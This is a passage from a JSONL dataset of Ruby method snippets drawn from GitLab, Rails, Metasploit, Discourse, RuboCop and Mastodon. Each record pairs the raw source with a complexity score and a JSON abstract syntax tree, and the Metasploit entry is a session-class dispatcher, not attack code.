\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[null,\"raw_diff\",{\"type\":\"send\",\"children\":[null,\"diff_content\",{\"type\":\"lvar\",\"children\":[\"hunk\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_file\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_file\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a_mode\"]},{\"type\":\"str\",\"children\":[\"100644\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"diff_file\",{\"type\":\"lvar\",\"children\":[\"diff\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"binary\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"new_blob\"]},\"size=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"old_blob\"]},\"size\"]},\"-\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"new_blob\"]},\"id=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"new_blob\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RapidDiffs\"]},\"DiffFileComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_file\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}]}]}","id":"eaf5b451-f03a-4691-9b46-f4f85eec8758"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/git_deduplication_service.rb","start_line":42,"raw_source":"def same_storage_as_pool?(repository)\n      pool_repository.object_pool.repository.storage == repository.storage\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"same_storage_as_pool?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool_repository\"]},\"object_pool\"]},\"repository\"]},\"storage\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"storage\"]}]}]}","id":"8a7db590-cb2a-44ef-91ae-3889ed3a6c6f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":116,"raw_source":"def test_inspect\n    assert_equal \"1999-12-31 19:00:00.000000000 EST -05:00\", @twz.inspect\n\n    nsec          = Time.utc(1986, 12, 12, 6, 23, 00, Rational(1, 1000))\n    nsec          = ActiveSupport::TimeWithZone.new(nsec, @time_zone)\n    assert_equal \"1986-12-12 01:23:00.000000001 EST -05:00\", nsec.inspect\n\n    hundred_nsec  = Time.utc(1986, 12, 12, 6, 23, 00, Rational(100, 1000))\n    hundred_nsec  = ActiveSupport::TimeWithZone.new(hundred_nsec, @time_zone)\n    assert_equal \"1986-12-12 01:23:00.000000100 EST -05:00\", hundred_nsec.inspect\n\n    one_third_sec = Time.utc(1986, 12, 12, 6, 23, 00, Rational(1000000, 3))\n    one_third_sec = ActiveSupport::TimeWithZone.new(one_third_sec, @time_zone)\n    assert_equal \"1986-12-12 01:23:00.333333333 EST -05:00\", one_third_sec.inspect\n  end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1999-12-31 19:00:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@twz\"]},\"inspect\"]}]},{\"type\":\"lvasgn\",\"children\":[\"nsec\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1986]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1000]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nsec\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"nsec\"]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1986-12-12 01:23:00.000000001 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsec\"]},\"inspect\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hundred_nsec\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1986]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[100]},{\"type\":\"int\",\"children\":[1000]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hundred_nsec\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"hundred_nsec\"]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1986-12-12 01:23:00.000000100 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hundred_nsec\"]},\"inspect\"]}]},{\"type\":\"lvasgn\",\"children\":[\"one_third_sec\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1986]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[1000000]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"one_third_sec\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"one_third_sec\"]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1986-12-12 01:23:00.333333333 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"one_third_sec\"]},\"inspect\"]}]}]}]}","id":"44763fe4-c2e4-4cc0-8e82-14b225e00ea5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter_multi.rb","start_line":19,"raw_source":"def self.create_session(rstream, opts={})\n    # TODO: fill in more cases here\n    case opts[:payload_uuid].platform\n    when 'python'\n      return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts)\n    when 'java'\n      return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)\n    when 'android'\n      return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)\n    when 'php'\n      return Msf::Sessions::Meterpreter_Php_Php.new(rstream, opts)\n    when 'windows'\n      if opts[:payload_uuid].arch == ARCH_X86\n        return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts)\n      end\n      return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts)\n    end\n\n    # TODO: what should we do when we get here?\n    # For now lets return a generic for basic functionality with http(s) communication\n    Msf::Sessions::Meterpreter.new(rstream, opts)\n  end","complexity_score":23.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rstream\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload_uuid\"]}]},\"platform\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"python\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_Python_Python\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"java\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_Java_Java\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"android\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_Java_Android\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_Php_Php\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload_uuid\"]}]},\"arch\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_x86_Win\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_x64_Win\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"6edc68a7-3c00-45ae-ac95-a15e2a2e242d"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/jforum.rb","start_line":96,"raw_source":"def user_custom_fields(row)\n    return nil if @settings[:custom_fields].blank?\n\n    custom_fields = {}\n\n    @settings[:custom_fields].map do |field|\n      column = field[:alias] || field[:column]\n      value = row[column.to_sym]\n      user_field = user_fields[field[:name]]\n\n      case user_field.field_type\n      when \"confirm\"\n        value = value == 1 ? true : nil\n      when \"dropdown\"\n        value = user_field.user_field_options.find { |option| option.value == value } ? value : nil\n      end\n\n      custom_fields[\"user_field_#{user_field.id}\"] = value if value.present?\n    end\n\n    custom_fields\n  end","complexity_score":46.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_custom_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_fields\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"custom_fields\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_fields\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"alias\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"column\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"to_sym\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_field\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_fields\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_field\"]},\"field_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"confirm\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"dropdown\"]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_field\"]},\"user_field_options\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_fields\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user_field_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_field\"]},\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"custom_fields\"]}]}]}","id":"17409574-36b3-48a5-95d5-e5c22196a585"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/autocomplete/group_users_finder.rb","start_line":50,"raw_source":"def members_from_hierarchy_group_shares\n      invited_groups = GroupGroupLink.for_shared_groups(group_hierarchy_ids).select(:shared_with_group_id)\n\n      GroupMember\n        .with_source_id(invited_groups)\n        .without_invites_and_requests\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"members_from_hierarchy_group_shares\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"invited_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupGroupLink\"]},\"for_shared_groups\",{\"type\":\"send\",\"children\":[null,\"group_hierarchy_ids\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"shared_with_group_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupMember\"]},\"with_source_id\",{\"type\":\"lvar\",\"children\":[\"invited_groups\"]}]},\"without_invites_and_requests\"]}]}]}","id":"e1eb1dac-6bae-4a1a-b6cf-ac7cd00f8392"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":1907,"raw_source":"def pages_https_only?\n    return false unless Gitlab.config.pages.external_https || Gitlab.config.pages.custom_domain_mode == 'https'\n\n    super\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pages_https_only?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"pages\"]},\"external_https\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"pages\"]},\"custom_domain_mode\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"178c8fab-40e1-4281-a214-6723dc6ecc2b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/socialcast/import.rb","start_line":78,"raw_source":"def import_posts(posts, topic_id)\n    posts.each { |post| import_post post, topic_id }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"import_posts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"posts\"]},{\"type\":\"arg\",\"children\":[\"topic_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[null,\"import_post\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]}","id":"03c20002-e406-4943-b5cc-4b5b1b096b16"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":1049,"raw_source":"def test_change_table_with_polymorphic_reference_uses_all_column_names_in_index\n    migration = Class.new(migration_class) {\n      def migrate(x)\n        change_table :testings do |t|\n          t.references :widget, polymorphic: true, index: true\n          t.belongs_to :gizmo, polymorphic: true, index: true\n        end\n      end\n    }.new\n\n    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate\n\n    assert connection.index_exists?(:testings, [:widget_type, :widget_id], name: :index_testings_on_widget_type_and_widget_id)\n    assert connection.index_exists?(:testings, [:gizmo_type, :gizmo_id], name: :index_testings_on_gizmo_type_and_gizmo_id)\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_change_table_with_polymorphic_reference_uses_all_column_names_in_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"migration_class\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"testings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"widget\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"gizmo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"widget_type\"]},{\"type\":\"sym\",\"children\":[\"widget_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_testings_on_widget_type_and_widget_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"gizmo_type\"]},{\"type\":\"sym\",\"children\":[\"gizmo_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_testings_on_gizmo_type_and_gizmo_id\"]}]}]}]}]}]}]}","id":"8c4efab0-ad5e-4c9f-9bf6-c4884a46123e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_links/create_service.rb","start_line":126,"raw_source":"def issuables_already_assigned_message\n      error_message.already_assigned\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issuables_already_assigned_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_message\"]},\"already_assigned\"]}]}","id":"df79f94c-0720-4a46-8c56-96ca4a770460"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_string_escape.rb","start_line":100,"raw_source":"def interpolation_not_enabled?(node)\n          single_quoted?(node) ||\n            percent_w_literal?(node) ||\n            percent_q_literal?(node) ||\n            heredoc_with_disabled_interpolation?(node)\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"interpolation_not_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"single_quoted?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"percent_w_literal?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"percent_q_literal?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"heredoc_with_disabled_interpolation?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"277f3108-c747-40fd-80d9-ad7610956493"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/services/move_service_spec.rb","start_line":28,"raw_source":"def change_source_moved_value\n    change(source_account.reload, :moved_to_account)\n      .from(nil)\n      .to(target_account)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change_source_moved_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_account\"]},\"reload\"]},{\"type\":\"sym\",\"children\":[\"moved_to_account\"]}]},\"from\",{\"type\":\"nil\",\"children\":[]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"target_account\"]}]}]}","id":"024b5074-9454-4ded-a8bb-a3f4278b1d1d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/github_issue_onebox.rb","start_line":39,"raw_source":"def data\n        result = raw(github_auth_header(match[:org])).clone\n        repo = load_repo\n        created_at = Time.parse(result[\"created_at\"])\n        closed_at = Time.parse(result[\"closed_at\"]) if result[\"closed_at\"]\n        body, excerpt = compute_body(result[\"body\"])\n        ulink = URI(link)\n\n        labels =\n          result[\"labels\"].map do |l|\n            { name: Emoji.codes_to_img(Onebox::Helpers.sanitize(l[\"name\"])) }\n          end\n\n        {\n          link: @url,\n          title: result[\"title\"],\n          body: body,\n          excerpt: excerpt,\n          labels: labels,\n          user: result[\"user\"],\n          created_at: created_at.strftime(\"%I:%M%p - %d %b %y %Z\"),\n          created_at_date: created_at.strftime(\"%F\"),\n          created_at_time: created_at.strftime(\"%T\"),\n          closed_at: closed_at&.strftime(\"%I:%M%p - %d %b %y %Z\"),\n          closed_at_date: closed_at&.strftime(\"%F\"),\n          closed_at_time: closed_at&.strftime(\"%T\"),\n          closed_by: result[\"closed_by\"],\n          avatar: \"https://avatars1.githubusercontent.com/u/#{result[\"user\"][\"id\"]}?v=2&s=96\",\n          domain: \"#{ulink.host}/#{ulink.path.split(\"/\")[1]}/#{ulink.path.split(\"/\")[2]}\",\n          i18n: i18n,\n          is_private: repo[\"private\"],\n        }\n      